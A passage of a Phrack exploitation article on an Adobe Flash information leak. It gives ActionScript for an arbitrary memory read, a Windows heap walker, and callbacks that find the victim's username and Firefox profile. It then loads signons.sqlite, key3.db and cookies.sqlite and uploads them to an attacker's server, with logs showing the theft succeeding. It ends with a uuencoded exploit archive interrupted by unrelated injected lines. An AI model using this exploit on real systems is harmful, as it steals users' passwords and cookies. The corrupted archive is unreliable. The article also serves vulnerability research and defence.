responsible for discovering the CRT heap address. It makes use of
`this._read_dword()', the function that abstracts the vulnerability details
away and allows the AS3 programmer to read data from arbitrary memory
addresses.


--- snip ---
// Locate the address of `__crtheap', the variable that points to the
// process' main heap, and dereference it to read the heap's address.
private function _get_heap_address():void
{
    var match:RegExp = /\x68\x00\x10\x00\x00\x50\xff\x15....\xa3/;
    var addr:uint = this._flash_address;
    var raw:String;
    var i:int;

    raw = this._read(addr, 0x1000)
    while((i = raw.search(match)) < 0)
    {
        addr += 0x1000;
        raw = this._read(addr, 0x1000)
    }

    addr += i + 13;
    addr = this._read_dword(addr);
    this._heap_address = this._read_dword(addr);
    this._parser = new CRTHeapParser(this._read_dword);
}
--- snip ---


With this in hand, one may walk all heap allocations and read all data
reachable in the heap at the time the exploit executes. Notice that, the
GC heap, Adobe Flash's own heap allocator, acts on top of the Microsoft
Windows CRT heap.


------[ 3.2.5 Walking CRT heap allocations

Once the CRT heap address has been leaked, walking the whole heap is pretty
straightforward. Luckily for an attacker, Chris Valasek and Tarjei Mandt
have done a great work at documenting the Microsoft Windows heap internals
([13], [14], [15]).

The Windows heap parsing logic is implemented in "CRTHeapParser.as" in
class `CRTHeapParser'. The class is quite abstract, the reader can use it
in any information leak vulnerability. It effectively implements the
equivalent of `HeapWalk()' in AS3. The constructor expects a single
argument, a function used to read a doubleword from an arbitrary memory
address (see the definition of `_read_dword()' later in this section).


--- snip ---
this._parser = new CRTHeapParser(this._read_dword);
--- snip ---


Once a `CRTHeapParser' instance has been created, the heap can be walked
using the method `walk()' as shown below:


--- snip ---
this._parser.walk(this._heap_address, this._get_username_cb);
--- snip ---


The first argument is the address of heap to walk (a Windows application
may have more than one heap) while the second is a callback to call for
each discovered heap allocation. The name of the shown callback function
will be explained later.


--- snip ---
private function _get_username_cb(address:uint, size:uint):Boolean
{
    ...
}
--- snip ---


The callback receives two arguments. The address of a heap allocation and
the allocation size. It's up to the callback implementer to read the
contents of this heap allocation (using the information leak exploit) and
discover its contents.


--- snip ---
// Read a doubleword from the given memory address.
private function _read_dword(addr:uint):uint
{
    var pi:AVABRProfileInfo;
    var ret:uint;

    // Check if the readahead crosses a page boundary. If yes, then the
    // next page may be unmapped.
    var cross_page:Boolean = ((addr + this._readahead) & 0xfffff000) !=
        (addr & 0xfffff000);

    // If so, subtract the readahead from the address to be dereferenced
    // and return `pi.height' instead of `pi.bitsPerSecond' :)
    if(cross_page && this._readahead > 0)
        addr -= this._readahead;

    for(var i:uint = 0; i < this.VECNUM; i++)
        this._sv[i][0] = addr;
    pi = this._source.getABRProfileInfoAtIndex(0, this._idx);

    if(cross_page && this._readahead > 0)
        ret = pi.height;
    else
        ret = pi.bitsPerSecond;

    return ret;
}
--- snip ---


As it has already been mentioned, the above is, actually, the equivalent of
`HeapWalk()' [19] implemented by abusing our read primitive.


------[ 3.2.6 Reading arbitrary files

Now that we have a powerful arbitrary read primitive at hand, it's time we
examine what can be done with it. An obvious potential is dumping the
memory contents of the sandboxed Adobe Flash Player process. However,
unless sensitive information is already present in the process' memory,
doing this won't yield any interesting results.

What if one could force the sandboxed child load and map arbitrary files in
memory? Assuming a file has been mapped somewhere in the process' heap,
discovering its contents is just a matter of walking the heap and locating
the heap region that carries the contents of the file.

The M3U8 specification mentions the following:


    3.4.4. EXT-X-KEY

    Media segments MAY be encrypted. The EXT-X-KEY tag specifies how to
    decrypt them. It applies to every media URI that appears between it and
    the next EXT-X-KEY tag in the Playlist file (if any). Its format is:

    #EXT-X-KEY:<attribute-list>

    ...

    If the encryption method is AES-128, the URI attribute MUST be present.

    ...

    The URI attribute specifies how to obtain the key. Its value is a
    quoted-string that contains a URI [RFC3986] for the key.


If the URI specifies a local file, the Flash Player child will happily load
and map it in memory (it's well known that the NPAPI Firefox Flash Sandbox
allows reading arbitrary files from the filesystem). A relatively big file
will occupy a heap segment of its own, making it easier for an attacker to
discover its contents.

Ideally, an attacker would like to load in memory the SQLite database
holding the Firefox stored passwords. However, this is not as
straightforward as it may sound at first. On Microsoft Windows, these
databases reside at the following location:


C:\Users\USERNAME\AppData\Roaming\Mozilla\Firefox\Profiles\PROFILE_NAME\
    signons.sqlite


The path above contains two unknown quantities, the victim's username and
the Firefox profile name which is a random identifier produced during
installation. Before being able to load these files, one needs to find a
way to determine the unknown values first.

Since we already have an arbitrary read, as well as a more advanced heap
walking abstraction, at hand, figuring out the victim's username is quite
easy. On Microsoft Windows, environment variables lie somewhere at the very
beginning of the process heap, so, our heap walker will visit this
allocation too. Assuming we have successfully leaked the address of the
main heap as described above, leaking the victim's username as simple as
calling `walk()' with a callback function that uses regular expressions to
locate the string ":\Users\xxx\AppData" in the heap data.


--- snip ---
// Leak heap data and look for a pattern that matches the username in
// the target system. We need that in order to access files within the
// user's home directory.
private function _get_username_cb(address:uint, size:uint):Boolean
{
    var matches:Array;
    var ret:Boolean = false;

    // `_read()' is the function implementing the read primitive.
    var raw:String = this._read(address, size);

    matches = raw.match(/:\\Users\\([^\\]*)\\AppData/);
    if(matches != null)
    {
       this._username = matches[1];
       ret = true;
    }
    return ret;
}

private function _get_username():Boolean
{
    return this._parser.walk(this._heap_address, this._get_username_cb);
}
--- snip ---


If `_get_username_cb()' succeeds, the leaked username is stored in
`this._username'.

This whole process may be repeated to first load "profiles.ini", the file
that holds the randomly generated Mozilla Firefox profile name and then the
SQLite databases holding the keys and passwords. The content's of the
aforementioned files can then be dumped using `this._parser.walk()' with
different callback methods as shown below.


--- snip ---
// Search for the random Firefox profile name in heap data.
private function _get_profile_name_cb(address:uint, size:uint):Boolean
{
    var matches:Array;
    var ret:Boolean = false;
    var raw:String = this._read(address, size);
    matches = raw.match(/Path=Profiles[\/\\]([[:print:]]+)/);
    if(matches != null)
    {
       this._profile_name = matches[1];
       ret = true;
    }
    return ret;
}

private function _get_profile_name():Boolean
{
    ...

    this._parser.walk(this._heap_address, this._get_profile_name_cb);
    ...
}
--- snip ---


Last but not least, the `_upload_data_cb()' is used in a final call to
`walk()' to upload the full heap contents to a server of the attacker's
choosing:


--- snip ---
// Collects data and uploads it on our server.
private function _upload_data_cb(address:uint, size:uint):Boolean
{
    var raw:String = this._read(address, size);

    if(this._mem == null)
        this._mem = "";
    this._mem += raw;

    // Upload data in blocks of `DUMPSZ' bytes.
    if(this._mem.length >= this.DUMPSZ)
    {
        this._con.msg("Uploading block of " + this._mem.length + " bytes");

        var b64:Base64Encoder = new Base64Encoder();
        b64.encode(raw);
        raw = b64.toString();

        var vars:URLVariables = new URLVariables();
        vars.id = this._get_uniqid();
        vars.data = raw;

        var req:URLRequest = new URLRequest(this.DUMPURL);
        req.data = vars;
        req.method = URLRequestMethod.POST;

        var ldr:URLLoader = new URLLoader();
        ldr.dataFormat = URLLoaderDataFormat.BINARY;
        ldr.load(req);

        this._mem = "";
    }

    // Return `false' so that `parser.walk()' walks the whole heap.
    return false;
}

private function _steal_cookies_and_passwords():void
{
    ...

    // Dump the whole heap :)
    this._parser.walk(this._heap_address, this._upload_data_cb);
}
--- snip ---


The exploit's server component "dumper.php" will store the uploaded data in
a file under "/tmp". Section 3.2.8, entitled "Logs", proves that the SQLite
databases holding keys and passwords have succesfully been uploaded to the
attacker's server.


------[ 3.2.7 - Overall exploit methodology

Summing up, the complete exploitation process consists of the steps given
below. The interested reader is referred to the corresponding sections of
this article for a detailed analysis of each step. Briefly the attached
exploit:

  * Performs some standard heap spraying and attempts to determine if it
    was successful or not.

  * Abuses the layout of AS3 `Vector<uint>' data containers to leak
    information from arbitrary absolute memory addresses. In this step, the
    address of a virtual function table is also discovered.

  * Discovers the Adobe Flash plug-in's base address.

  * Walks the CRT heap once to locate the environment variables of the
    victim process. Simple pattern matching is used to locate the username
    of the victim.

  * Asks the exploit's server component to return an M3U8 manifest that
    results in the AVM loading "profiles.ini" several times in the victim
    process memory.

  * Walks the CRT heap once again to locate "profiles.ini" contents and
    read the name of the default profile. Most (all) users use just a
    single Firefox profile.

  * Asks the exploit's server component to return an M3U8 manifest that
    loads "signons.sqlite", "key3.db" and "cookies.sqlite" in the victim's
    memory.

  * Walks the CRT heap again and uploads all heap allocations to a server
    of the attacker's choosing. Some of these allocations contain the
    SQLite database contents.

The author has run several experiments and has verified that the above
exploitation works as expected.


------[  3.2.8 - Logz

This is how the user's browser looks like when debugging output is enabled
in the exploit's code:

--- snip ---
(2016-01-26 01:04:42) [*] Will now load worker from WorkerMain.swf
(2016-01-26 01:04:42) [*] New worker started
(2016-01-26 01:04:42) [*] Preparing stream
(2016-01-26 01:04:54) [*] Readahead size is 8
(2016-01-26 01:04:54) [*] Spraying the heap
(2016-01-26 01:04:56) [*] GC virtual table @0x67cadaf0
(2016-01-26 01:04:56) [*] Flash player base address @0x67010000
(2016-01-26 01:05:07) [*] __crtheap @0x4e0000
(2016-01-26 01:05:07) [*] Matched Windows username "huku"
(2016-01-26 01:05:07) [*] Preparing to leak Firefox profile name
(2016-01-26 01:05:07) [*] New manifest "\\192.168.0.200@80\tmp\
    master-6c616c616b6973--99643158.m3u8"
(2016-01-26 01:05:07) [*] Sleeping for a while...
(2016-01-26 01:05:19) [*] Matched Mozilla Firefox profile name
    "liqso3kl.default"
(2016-01-26 01:05:19) [*] Preparing to steal cookies and passwords
(2016-01-26 01:05:19) [*] New manifest "\\192.168.0.200@80\tmp\
    master-6c616c616b6973-6c6971736f336b6c2e64656661756c74-efa5759b.m3u8"
(2016-01-26 01:05:19) [*] Sleeping for a while...
(2016-01-26 01:05:31) [*] Uploading block of 54040 bytes
(2016-01-26 01:05:32) [*] Uploading block of 383168 bytes
(2016-01-26 01:05:32) [*] Uploading block of 33544 bytes
(2016-01-26 01:05:32) [*] Uploading block of 36096 bytes
(2016-01-26 01:05:32) [*] Uploading block of 36280 bytes
(2016-01-26 01:05:32) [*] Uploading block of 97608 bytes
(2016-01-26 01:05:32) [*] Uploading block of 34976 bytes
(2016-01-26 01:05:32) [*] Uploading block of 131064 bytes
(2016-01-26 01:05:32) [*] Uploading block of 36768 bytes
(2016-01-26 01:05:32) [*] Uploading block of 41976 bytes
(2016-01-26 01:05:32) [*] Uploading block of 40960 bytes
(2016-01-26 01:05:32) [*] Uploading block of 40960 bytes
(2016-01-26 01:05:32) [*] Uploading block of 42336 bytes
(2016-01-26 01:05:33) [*] Uploading block of 131064 bytes
(2016-01-26 01:05:33) [*] Uploading block of 36856 bytes
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
(2016-01-26 01:05:33) [*] Uploading block of 36856 bytes
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
(2016-01-26 01:05:33) [*] Uploading block of 107296 bytes
(2016-01-26 01:05:33) [*] Uploading block of 44232 bytes
(2016-01-26 01:05:34) [*] Uploading block of 528400 bytes
(2016-01-26 01:05:34) [*] Uploading block of 528376 bytes
(2016-01-26 01:05:35) [*] Uploading block of 528376 bytes
(2016-01-26 01:05:35) [*] Freeing worker resources
(2016-01-26 01:05:35) [*] Marking target
(2016-01-26 01:05:35) [*] Done
--- snip ---


On the attacker's server, a binary file holding exfiltrated data is created
in "/tmp". The SQLite databases holding the victim's keys and passwords can
also be found there.


--- snip ---
$ hexdump -C /tmp/154a61b6c8227ae0acfdfb974141dd6f.bin | grep SQLite
...  d0 c5 37 4e 00 00 00 04  53 51 4c 69 74 65 20 66  |..7N....SQLite f|
...  d0 c5 37 4e 00 00 00 04  53 51 4c 69 74 65 20 66  |..7N....SQLite f|
--- snip ---


--[ 4 - Conclusion

The author hopes to have presented an interesting technique of exfiltrating
data from a victim's computer. The only requirement was an arbitrary read
primitive achieved by exploiting a standard relative information leak
vulnerability. The presented methodology is generic and may be used to
exploit similar Adobe Flash vulnerabilities. Additionally, similar
techniques may be applicable to other client side technologies.

Vulnerabilities, uninteresting at first sight, just like this one, may turn
out to be promising and effective. Once a victim's passwords have been
stolen (e.g. e-mail credentials), accessing the target's computer or mobile
devices may also be possible in post-exploitation scenarios.

As we are moving towards the era of data-only attacks, both in user-land
and kernel-land, such attacks may become more and more interesting from a
security researchers perspective. We look forward to bypassing any crappy
mitigation that will be implemented in future Adobe Flash versions.


--[ 5 - Thanks

As you might know, writing a Phrack article is quite a hard work and
requires dedication. This paper would have never been completed if it
wasn't for the help and support of certain people. This section is
dedicated to them.

First and foremost I would like to thank the Phrack Staff for kicking my
ass and motivating me to write this article. In a world of conferences and
fame, Phrack has managed to stay alive with original and impressive
content. It was the least I could to do help. It's always an honor for me
seeing my articles published in Phrack.

I would like to thank nemo and argp for their suggestions and insightful
comments. My thanks also go to my team at CENSUS (and a couple of other
persons who would like to remain anonymous) for giving me the chance to
work on this cool stuff and spend time on Adobe Flash internals. It's
always cool to be in a team where "client side exploitation" means
arbitrary code execution and not XSS :)

Chris Valasek and Tarjei Mandt for their work on Windows heap allocators.
Life would have been harder without their work.

Last but not least, greetings fly to my grhack.net collegues and !fapperz
;)


--[ 6 - References

  [01] http://www.zerodayinitiative.com/advisories/ZDI-15-007/
  [02] https://twitter.com/kernelbof/status/629832855842091008
  [03] http://www.cvedetails.com/top-50-products.php
  [04] https://blog.zimperium.com/
    stagefright-vulnerability-details-stagefright-detector-tool-released/
  [05] http://flex.apache.org/installer.html
  [06] http://www.adobe.com/devnet/flex/flex-sdk-download.html
  [07] http://www.w3.org/TR/webstorage/
  [08] http://www.w3.org/TR/webdatabase/
  [09] http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/
    flash/external/ExternalInterface.html
  [10] http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/
    flash/net/SharedObject.html
  [11] https://en.wikipedia.org/wiki/HTTP_Live_Streaming
  [11] http://tools.ietf.org/html/draft-pantos-http-live-streaming-08
  [12] https://msdn.microsoft.com/en-us/library/windows/desktop/
    aa366710(v=vs.85).aspx
  [13] http://www.azimuthsecurity.com/resources/bh2009_mcdonald_valasek.pdf
  [14] http://illmatics.com/Understanding_the_LFH.pdf
  [15] http://illmatics.com/Windows%208%20Heap%20Internals.pdf
  [16] https://developer.apple.com/library/ios/technotes/tn2288/_index.html
  [17] https://www.adobe.com/support/flashplayer/debug_downloads.html
  [18] https://0b3dcaf9-a-62cb3a1a-s-sites.googlegroups.com/site/
    zerodayresearch/smashing_the_heap_with_vector_Li.pdf
  [19] https://msdn.microsoft.com/en-us/library/windows/desktop/
    aa366710(v=vs.85).aspx
  [20] http://haxe.org


--[ 7 - Codez

begin 644 flash_hardcode_porn.tgz
M'XL(`%A6X58``^U]_6,:-])P?RU_A4I]!SBP@(T='PEI79LD?NNOQSA->B9'
M%E:8/2^[='<Q]EW[_.WOS$C[K06<^-+VN:B-@5UI)(UF1J/1:#2V=&\RF.BN
M,7(,/I@YKEW_ZI%3H]%XNM-@^`DI_2E^-+=VGS:V=K8;V]NLT=QI;N]\Q78>
MNR&J-/=\W86FN([C+\NWF'!N+7F?[MR?)(T5XW_@V)YC<4WW'J<.P,=N*W_\
MGVYOM8+QWWK::,'X/VT\??H5:SQ.]<O3?_GXS_31C7[-"_\N,$CF%`C`9T04
MFF%Z,TN_UP[%Y]GPGWSD`VWXNFES]UFV@,_O?.T2_KPTN64LS>"X4]U7Y+BV
MG*%NF?_2?=.QM4/=YY?FE(OLOK)2?LMMW].Z^*%X;7-?>W=RW'-&-USUWKOW
M?#[5WCKNC1*\?'_"/0_0=##1;9M;SPH%RCF;#RUSQ$:0TV.2:^B%P":F>IV=
MNZ;MLZF`X#'?83H#HK,-8#J&*&%CQ)<6EIFYYBWTG(T`HL^.SP[VCP>'W1_>
MO&K_X


gemini - kennedy.gemi.dev




-NLTZS'?G_%DA7@T@:8$0XQ6Y?.H`H(GC^1H[F[OPS+&JS-:GW&#%
MNZGE$5X,;79?K#+3B\/SYK.9XT$^@#/D;*&;OFE?,W_"7<[&CLM,>^1,\1&T
MTP;2@!'S\CIQT3TYN^QF>C'6+8\_6U[F]5GOLMWS7:RIPXI-;4O;UEK%%:7.
MSRXNVXCW#HB6[58P8O'\M[K+!N.IW\XALTQ>_\YOI\@[DT?BM)VBN;Q\@U_:
M/P'J'%=[+KKX(B?_=-16TV`P^M;<F^"@3SB#NID8V(`8V"]S/N<:>VFZ,*#S
M&0-I9J?RQJ%%(PI$P3A0*Q`ZP%<0Z7ANBXP#QQ[(<F5^Z[>)(ROM6\<TPD(1
M7V!:3$R+E_V)Z6D1/C2+V]?^A+U@C4HB-Z9$7LWCMI$I[DW,L5^N5"(\_A8?
M>\&Q8:,ETY:=!8BTMEK257*:+VH&`@(:L_F"9<BH7.3VX$VO&&M+HAQTP`\*
MG5,)NUR\AU0[.:D9!GO]NCV=MCT/`20@F..R$%C::.ZZ@&;-]$#*3!W7,'4K
MB;9_9Y`(I:D),<&2Q72V6-1TX`/9Y9`;RJD^9@IH"].`4>TPPK0&%'7-Q=^W
M]*+&FKNK0$RX>3WQ53!>BS?K`)G.+=^T8%Q#(;JBW8#4MZX^6S.[P<<ZU!!-
M<G%,T8-R41"=[H'(;39R$">ZJ!O&`3!)0.50@2+[;X7<(8Z+W8>-<<A0LOTI
M*;5\O&5A6304A6L5PCZ3Z#@V8>8%))3IEW9P=GK:/;BL*B%$4"(AM%9E@<"*
M8PLGG"J+/\')1(GX_%\<)K8<\34=`6)2_'O-_1XHX=PX=YT9=_W[<G$D1%,Q
M*<F"KR"DW[HFR%^=N?HBE/,P5Z-4EV6U7+FWP++EQ43WY=2Z5%#_;O(F[&70
M/]":F#[W'>`C<Z1;UCWS1JYC6=3KX7P\AC:NX%!]-H-Y`_F1^K]2<(D*?D+^
MCX2(?M<3C__C[`@H.+.QG]#HE!(IB1=F]-B,;]JH6XZXFE


gemini - kennedy.gemi.dev




FH,:W,+T`)F$
M"43=%(H!0-!T0?75W7NA+^`$/9K$U<(4J#$I'09SH+Z`[E;I#2J\I-F1&UGL
M!$FA`BP91B4;*D&!ZC"#WN0!^VA>5S91S<ACJ3@8#V;GJ7?]{body}amp;9.LR/[]5>V
M@D"SQ(GUH4)>+K(G,9U&=*(<*$2@B<'K8H5=;;YGD%,Y&`0*<O7M8A;S!#J2
M5ZFQ^:V0_/9;X;?"[[VF_C,EI?WGXO(UUV?GNNNA#O+)5J#E]I]FJ[&]F[3_
M;#4:3W>_V'\^1UIB_Y&FCP-]I@]!8_9-[CU3V3WBU)*R?B26L"[7C8&!^O1@
M-&R_E+(K9[U[RUT/WK;G)IIU$N*2:F*6[J(^8%G.B(Q%'AN[SI1]&+SN[I]K
M/YFN/]>M?7QM_`!_;KS2LK7K#&$.")HQ&%+^\@1Z-0!MU`5A3.VHA&OUS1<Y
MPA7;[HS'L+"3+4^_%+!C@%+Z]2:IUDJ!'>"$=3KL:7:"%-4"N,:=WGB6F:"4
M8/:6@OG;*-42[


gemini - kennedy.gemi.dev




<(:%.E!C:!.)`K`N(*;DMUOY!IF\Z3%UHQ1PDL"DF;K7Z
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
M_+^`/FKZ]V&)"<#/SSV\'CF6XX:YOQU3RB^`VN>B-W+-F;\_&H{body}amp;&!;UX/VA
M,X4&KBC]<FY9`(%S.RR+2F.RE,2N?S_#8KC,$_IU_:[F34#C7.BWO$:"H<A0
M9L51LQR[#\?81V'MTS'W"=BK"_1)2@U_/:_/\(\DY+H@_=^;NU<GE?R?;L_W
M'D_[6RG_@7T;*?F_V]II?I'_GR-%^I\P$-'I!%1=:I<@'MIT/JT^LY!_`F5J
M@U2H8A^2/(SU_5ZCWQ<*(^4(-UDF_&[@.P.8%<H;\#VC%'KAL:Z89@7KZO*&
MB7O6ST#Y0DNM[X(.)2#@&0]Z_*3#MI)KX0":!DOIB0NK]SM0"ZG4U8;Y'C4Y
M\94]8<WW\0-"<A$LRP>:6*[N.]5M<\P]/]1_!Z)@3IY,IX-W2?TV*A$UC"SJ
M&U)[1*N<_#IS'=(TY4]7MPUG6@%X_&YFH2)<K!6K4455UDHHPLC?B/-ON^\N
M3[;?D-=M^!9ZO"&T9-QX!"77YVXQ;T-7@-(Z&:,#P:Z]J_4N+[K[)[6CTY?M
M\XNS5Q?X_;#3K/ZP?WKX]NCP\G4'[6;5T_V3;J=?;/;1!9AE;6Y%H+E^'[I]
M#1*[%J*BEL!$32)"PT8E7(DC$TC"5?N!?;G<OWC5O3Q\<[%_>71VVF[F-%7F
M/ND>'NW7>CB\IP?==F-);L1.L\I()\K)1N\TWTN.%28<KP`?[!L<L^(J2UB4
MOY/@T."QPM:%M<1Q+:A#L1>M-G+%UU[%@W:__P:J\OK]L,I^?W\V.P1=H]^_
M<'0\5=KOGSC_,BT+GN"IQ;%S1P2`@#S-M$V%ISBFC/#8WL(O3Y[DV\V"@0^'
M[L?NS^V3[N7KL\/.?K=7:V[M5=]<'`%]AMWHJUW5LU9\Y=&`'!PE\9L8F?BK
M'$OQ!BZ%/QW%YQ+%4#!>:9KJPEKC`QLVH=\?.<X-^B]XOX#ZQW/&ZO$0_VG0
M'M2S&WZ_K1G#_TM=\LQK&ZWK?XK!2D/*.YCS6WK"BU76/3T\/NI=)N#QT<3!
M>0:R%G\O8\SOD%3Z/ZWV'BOXQU>K]?^=W73\C]WMW2_VG\^2UHC_<8)6D@/+
MG#W+YIG[IN5I/]S[?-]U]7M%CI5!03!"QYN+XPO^RQQTU?P,QPZN3U:]QPDN
M-[K(FL$^Q'MA-<C/E0['D,FW(C*)0-TU]_'XORM%MLPAPQ(D2IVC?Q\>B1YQ
M9?P1Y%I8`


gemini - kennedy.gemi.dev




&`WX$8Y9:?-3KC`8*78!`OM)!T@5UE_7>OB3[M?<,=YP1DJO+
M=^@FY?*\V!XR3UL`%@[0]+U<%)@,K4>59,22F*_3#><S6(>-H1KH'S4K.`,Y
M$@CVJK&3JPOXW[%+/AOR.$!]:''A[33BYBV>%KX/C\QF6R_C:MR&V\'){body}lt;V+
MQ`&=;H?CD\D2^:K+BD&VVH8%"^OU8F)@%9E8'[BRN_4U'_?%??334M%>D,1^
M-K12'IJ<CC2)CW(%R\HCHDH?T9R@'M.9Q0'2^CV`P6Z'0B'1>DVX`7HL)3/B
MI05!M07QA&?E!3^&)]!'+H>6BE=EJ$]Q=$05,R6>AP[B+^3!=@*7S)XZ])ZJ
M`?":%ZK@]?[I:?=X<-+M]?9?=:O!6>`D02BC@@`Y"@?TZ2CM.B<;ZN5'"J@R
M*J4J!,C/A%^("`6/#Q=/@6VE**#LW,@)/9#VI$7V+B]W^89NI4Y&I'@MMVVR
M6!"G!9\K3E3$9*-F>H.I#MTPRI6U?4,2KAQ`3(.Y:P4QA\@[&H\@"S'WL#`:
M(7;?PCJ+V<Z"63!-!7BF\S!X?%I6F;.TDV_1Y%7\SK6-#A8))HYR1?,=T=1R
M<S<'@O!4_J4=S;,2K]&#\O(V(`3+<-OA1!L!$+_S@GM`(>+Y,!J*8JK6?C@Z
MW;_X.1]`;DR0D_/C[F7(83%AM:0U.`)EP,;CG?(/1_E22&CRQD,23'*0^/O'
M\JI1Z_\W'#6!QZICU?YOX^E66O_?;6Q]T?\_1SIY=W)\T$%[T=CB=P//N.GW
MAZ;=[T_OIM9(XW>\0%E>'N^_ZG5JR%Y`&:[F3$V_!AKBB-<`@:`/HZ[;(6'+
M:F*JK^'J@;N=9DMK%`JZ9;594A]DP9="(?DBD5$/0^O1UU1L@KA:##\+A0B&
MHG0Z\U\H9^'KC3)ULL+D%^HM_'K.:L[<G\U]MO%]X>O1Q%G8;+%8U%"@M8,O
M\MW4,1C0>0M_%D;HP`V`W2FKC5VV2=W=_-_"USC3C'%.V=@HCTW;8!J@ZWX&
M*A>KN?R:W[&2MMDOZU[_U]EDUO^5;-F_XFYBO[*Q4:H\8X;#^H6OOQZ!,-W8
M&+-?&9['\.JEJZNV!ZLYWG[_?A-RUDNE.GN!631_.GL6+X,/H-S(L5AM>"<R
MB0RRN<E"L9[)?(9C\S^4%/N2/C:IY'^22SZ]CI7^/ZV,_\_3W2_[OY\E+;'_
MH%U%+#5$0$15\(\8J:0L#3(;3@Z8FRP%1X=1(,^2V"(H/5M>XO2R>_'3_G%;
M'-^%<ELMMLEV&\$?W#Y\EK\VB;4/E@/_SJYB9&UA@=CJX<&G_[)G2DAK]IQV
M'(V0,?X3+4#'SDBW$HN8HT/%*N>;<M


E;^(TP=`);6ZDG>X)AZ!2<-BK!86
MNA)PWN,IGT2M$MO9-8[P4)?'D1)O{body}gt;;(<CR>7@`L<2U?@G]$?GFE?>'C<9IN
M>@(=G2S6LB4HZ%FZLTHL_#$U_F12R?^+[O[A25>;&H]4QPKY_W0K:_]O;7_1
M_S]+^I8=\IGEW`<GM,F#Q/0+A6^_94>V[SK&G!BS4,`SFQ[P](Q$,S`5'<GW
M%PX\=?%<=AN9>Y-M;DZ<*=<,,M=M;F*P:WK/<'/1I9B-&-R4#I9CC;KOPQP$
MRCR[Q!-M)IWK=L5T$FL10_JD<VH@`$QG#G//ZW.,_FC.H"4+-*\,1:1K;D2@
M0&`Y(218CXRX@,XLYUJ$B?!\$-\VG5+'0V<1J/D,#07"/(V&&@*S24W?A-G/
